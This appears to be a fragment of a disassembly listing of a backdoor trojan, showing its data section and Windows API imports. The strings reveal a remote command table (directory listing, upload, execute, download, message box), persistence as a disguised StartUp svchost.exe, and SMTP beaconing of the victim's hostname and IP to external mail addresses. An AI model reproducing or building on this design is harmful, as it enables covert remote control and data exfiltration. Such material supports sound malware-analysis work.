.text:00011A17 aQuit      DCB "QUIT"       ; DATA XREF: .text:00011AB4o
.text:00011A1B         DCB 0xD, 0xA
.text:00011A1D aConnectionEstablish DCB "Connection establish" ; DATA XREF: .text:00011AB8o
.text:00011A31         DCB 0x65, 0x64, 0
.text:00011A34 aHi       unicode 0, <Hi>     ; DATA XREF: .text:00011AE8o
.text:00011A38         DCB 0, 0
.text:00011A3A aOk       DCB "OK",0       ; DATA XREF: .text:00011AECo
.text:00011A3D         DCB 0x45 ; E
.text:00011A3E aRror      DCB "rror"
.text:00011A42         DCB 0
.text:00011A43 aConnectionClose DCB "Connection close" ; DATA XREF: .text:00011AC4o
.text:00011A53 aD       DCB "d",0
.text:00011A55 commandz    DCB "d"         ; DATA XREF: .text:00011AC8o
.text:00011A56 commandz_plus_1 DCB "grpm"       ; DATA XREF: .text:00011ACCo
.text:00011A5A aF       DCB "f",0
.text:00011A5C commandz_offsets DCD dir        ; DATA XREF: .text:00011AD0o
.text:00011A5C                     ; d
.text:00011A60         DCD upload_file     ; g
.text:00011A64         DCD execute       ; r
.text:00011A68         DCD download_file    ; p
.text:00011A6C         DCD message_box     ; m
.text:00011A70         DCD close_session    ; f
.text:00011A74 off_0_11A74   DCD start        ; DATA XREF: start+60r
.text:00011A78 dword_0_11A78  DCD 0x310031      ; DATA XREF: start+7Cr
.text:00011A7C dword_0_11A7C  DCD 0x8004667E     ; DATA XREF: start+9Cr
.text:00011A7C                     ; start+1B8r
.text:00011A80 off_0_11A80   DCD aWindowsStartup   ; DATA XREF: startr
.text:00011A80                     ; "\\Windows\\StartUp\\svchost.exe"
.text:00011A84 off_0_11A84   DCD bytes_count     ; DATA XREF: start+3Cr
.text:00011A88 off_0_11A88   DCD start_of_pe_file  ; DATA XREF: start+44r
.text:00011A88                     ; start+80r ...
.text:00011A8C off_0_11A8C   DCD number_of_bytes_written ; DATA XREF: start+50r
.text:00011A8C                     ; start+A0r
.text:00011A90 off_0_11A90   DCD sockaddr      ; DATA XREF: start+ACr
.text:00011A90                     ; start+178r
.text:00011A94 off_0_11A94   DCD sockaddr_smtp    ; DATA XREF: start+BCr
.text:00011A98 off_0_11A98   DCD select_timeout   ; DATA XREF: start+C8r
.text:00011A9C off_0_11A9C   DCD hostname      ; DATA XREF: start+D8r
.text:00011A9C                     ; start+E4r
.text:00011AA0 off_0_11AA0   DCD ip_address_with_cr_lf ; DATA XREF: start+100r
.text:00011AA0                     ; start+144r
.text:00011AA4 off_0_11AA4   DCD aHeloVictim     ; DATA XREF: start+114r
.text:00011AA4                     ; "HELO victim\r"
.text:00011AA8 off_0_11AA8   DCD aMailFromBr@mail_ru ; DATA XREF: start+120r
.text:00011AA8                     ; "MAIL FROM:br@mail.ru"
.text:00011AAC off_0_11AAC   DCD aRcptToBrokensword@ukr_ ; DATA XREF: start+12Cr
.text:00011AAC                     ; "RCPT TO:brokensword@ukr.net\r"
.text:00011AB0 off_0_11AB0   DCD aData        ; DATA XREF: start+138r
.text:00011AB0                     ; "DATA"
.text:00011AB4 off_0_11AB4   DCD aQuit        ; DATA XREF: start+150r
.text:00011AB4                     ; "QUIT"
.text:00011AB8 off_0_11AB8   DCD aConnectionEstablish ; DATA XREF: start+1A4r
.text:00011AB8                     ; "Connection establish"
.text:00011ABC off_0_11ABC   DCD dword_0_11980    ; DATA XREF: start+1BCr
.text:00011AC0 off_0_11AC0   DCD select_timeout_   ; DATA XREF: start+1C4r
.text:00011AC4 off_0_11AC4   DCD aConnectionClose  ; DATA XREF: start+1D8r
.text:00011AC4                     ; "Connection close"
.text:00011AC8 off_0_11AC8   DCD commandz      ; DATA XREF: start+20Cr
.text:00011AC8                     ; "d"
.text:00011ACC off_0_11ACC   DCD commandz_plus_1   ; DATA XREF: start+21Cr
.text:00011ACC                     ; "grpm"
.text:00011AD0 off_0_11AD0   DCD commandz_offsets  ; DATA XREF: start+224r
.text:00011AD4 off_0_11AD4   DCD packet_payload   ; DATA XREF: .text:0001122Cr
.text:00011AD4                     ; .text:000112B8r ...
.text:00011AD8 off_0_11AD8   DCD process_information ; DATA XREF: .text:00011230r
.text:00011AD8                     ; .text:0001128Cr ...
.text:00011ADC off_0_11ADC   DCD dword_0_11744    ; DATA XREF: .text:00011244r
.text:00011AE0 off_0_11AE0   DCD read_writefds    ; DATA XREF: .text:00011318r
.text:00011AE0                     ; .text:000113E4r ...
.text:00011AE4 off_0_11AE4   DCD timeout_file_dl   ; DATA XREF: .text:0001138Cr
.text:00011AE4                     ; .text:000113B4r ...
.text:00011AE8 off_0_11AE8   DCD aHi         ; DATA XREF: .text:00011414r
.text:00011AE8                     ; "Hi"
.text:00011AEC off_0_11AEC   DCD aOk         ; DATA XREF: send_ok_back+8r
.text:00011AEC                     ; "OK"
.text:00011AF0         DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.text:00011AF0         DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.text:00011AF0         DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.text:00011BAC ; [00000008 BYTES: COLLAPSED FUNCTION MessageBoxW. PRESS KEYPAD "+" TO EXPAND]
.text:00011BB4 off_0_11BB4   DCD __imp_MessageBoxW  ; DATA XREF: MessageBoxWr
.text:00011BB8 ; [00000008 BYTES: COLLAPSED FUNCTION FindNextFileW. PRESS KEYPAD "+" TO EXPAND]
.text:00011BC0 off_0_11BC0   DCD __imp_FindNextFileW ; DATA XREF: FindNextFileWr
.text:00011BC4 ; [00000008 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD "+" TO EXPAND]
.text:00011BCC off_0_11BCC   DCD __imp_CloseHandle  ; DATA XREF: CloseHandler
.text:00011BD0 ; [00000008 BYTES: COLLAPSED FUNCTION CreateProcessW. PRESS KEYPAD "+" TO EXPAND]
.text:00011BD8 off_0_11BD8   DCD __imp_CreateProcessW ; DATA XREF: CreateProcessWr
.text:00011BDC ; [00000008 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND]
.text:00011BE4 off_0_11BE4   DCD __imp_WriteFile   ; DATA XREF: WriteFiler
.text:00011BE8 ; [00000008 BYTES: COLLAPSED FUNCTION GetFileSize. PRESS KEYPAD "+" TO EXPAND]
.text:00011BF0 off_0_11BF0   DCD __imp_GetFileSize  ; DATA XREF: GetFileSizer
.text:00011BF4 ; [00000008 BYTES: COLLAPSED FUNCTION ReadFile. PRESS KEYPAD "+" TO EXPAND]
.text:00011BFC off_0_11BFC   DCD __imp_ReadFile   ; DATA XREF: ReadFiler
.text:00011C00 ; [00000008 BYTES: COLLAPSED FUNCTION FindFirstFileW. PRESS KEYPAD "+" TO EXPAND]
.text:00011C08 off_0_11C08   DCD __imp_FindFirstFileW ; DATA XREF: FindFirstFileWr
.text:00011C0C ; [00000008 BYTES: COLLAPSED FUNCTION CreateFileW. PRESS KEYPAD "+" TO EXPAND]
.text:00011C14 off_0_11C14   DCD __imp_CreateFileW  ; DATA XREF: CreateFileWr
.text:00011C18 ; [00000008 BYTES: COLLAPSED FUNCTION recv. PRESS KEYPAD "+" TO EXPAND]
.text:00011C20 off_0_11C20   DCD __imp_recv     ; DATA XREF: recvr
.text:00011C24 ; [00000008 BYTES: COLLAPSED FUNCTION bind. PRESS KEYPAD "+" TO EXPAND]
.text:00011C2C off_0_11C2C   DCD __imp_bind     ; DATA XREF: bindr
.text:00011C30 ; [00000008 BYTES: COLLAPSED FUNCTION gethostbyname. PRESS KEYPAD "+" TO EXPAND]
.text:00011C38 off_0_11C38   DCD __imp_gethostbyname ; DATA XREF: gethostbynamer
.text:00011C3C ; [00000008 BYTES: COLLAPSED FUNCTION socket. PRESS KEYPAD "+" TO EXPAND]
.text:00011C44 off_0_11C44   DCD __imp_socket    ; DATA XREF: socketr
.text:00011C48 ; [00000008 BYTES: COLLAPSED FUNCTION WSAStartup. PRESS KEYPAD "+" TO EXPAND]
.text:00011C50 off_0_11C50   DCD __imp_WSAStartup  ; DATA XREF: WSAStartupr
.text:00011C54 ; [00000008 BYTES: COLLAPSED FUNCTION gethostname. PRESS KEYPAD "+" TO EXPAND]
.text:00011C5C off_0_11C5C   DCD __imp_gethostname  ; DATA XREF: gethostnamer
.text:00011C60 ; [00000008 BYTES: COLLAPSED FUNCTION send. PRESS KEYPAD "+" TO EXPAND]
.text:00011C68 off_0_11C68   DCD __imp_send     ; DATA XREF: sendr
.text:00011C6C ; [00000008 BYTES: COLLAPSED FUNCTION accept. PRESS KEYPAD "+" TO EXPAND]
.text:00011C74 off_0_11C74   DCD __imp_accept    ; DATA XREF: acceptr
.text:00011C78 ; [00000008 BYTES: COLLAPSED FUNCTION select. PRESS KEYPAD "+" TO EXPAND]
.text:00011C80 off_0_11C80   DCD __imp_select    ; DATA XREF: selectr
.text:00011C84 ; [00000008 BYTES: COLLAPSED FUNCTION closesocket. PRESS KEYPAD "+" TO EXPAND]
.text:00011C8C off_0_11C8C   DCD __imp_closesocket  ; DATA XREF: closesocketr
.text:00011C90 ; [00000008 BYTES: COLLAPSED FUNCTION ioctlsocket. PRESS KEYPAD "+" TO EXPAND]
.text:00011C98 off_0_11C98   DCD __imp_ioctlsocket  ; DATA XREF: ioctlsocketr
.text:00011C9C ; [00000008 BYTES: COLLAPSED FUNCTION inet_ntoa. PRESS KEYPAD "+" TO EXPAND]
.text:00011CA4 off_0_11CA4   DCD __imp_inet_ntoa   ; DATA XREF: inet_ntoar
.text:00011CA8 ; [00000008 BYTES: COLLAPSED FUNCTION connect. PRESS KEYPAD "+" TO EXPAND]
.text:00011CB0 off_0_11CB0   DCD __imp_connect    ; DATA XREF: connectr
.text:00011CB4 ; [00000008 BYTES: COLLAPSED FUNCTION listen. PRESS KEYPAD "+" TO EXPAND]
.text:00011CBC off_0_11CBC   DCD __imp_listen    ; DATA XREF: listenr
.text:00011CC0         DCD 0xD14, 0x1000, 0x11000, 0x40, 0xE0000020, 0xE00, 0x400
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.rdata:0001216E         DCB  0 ;
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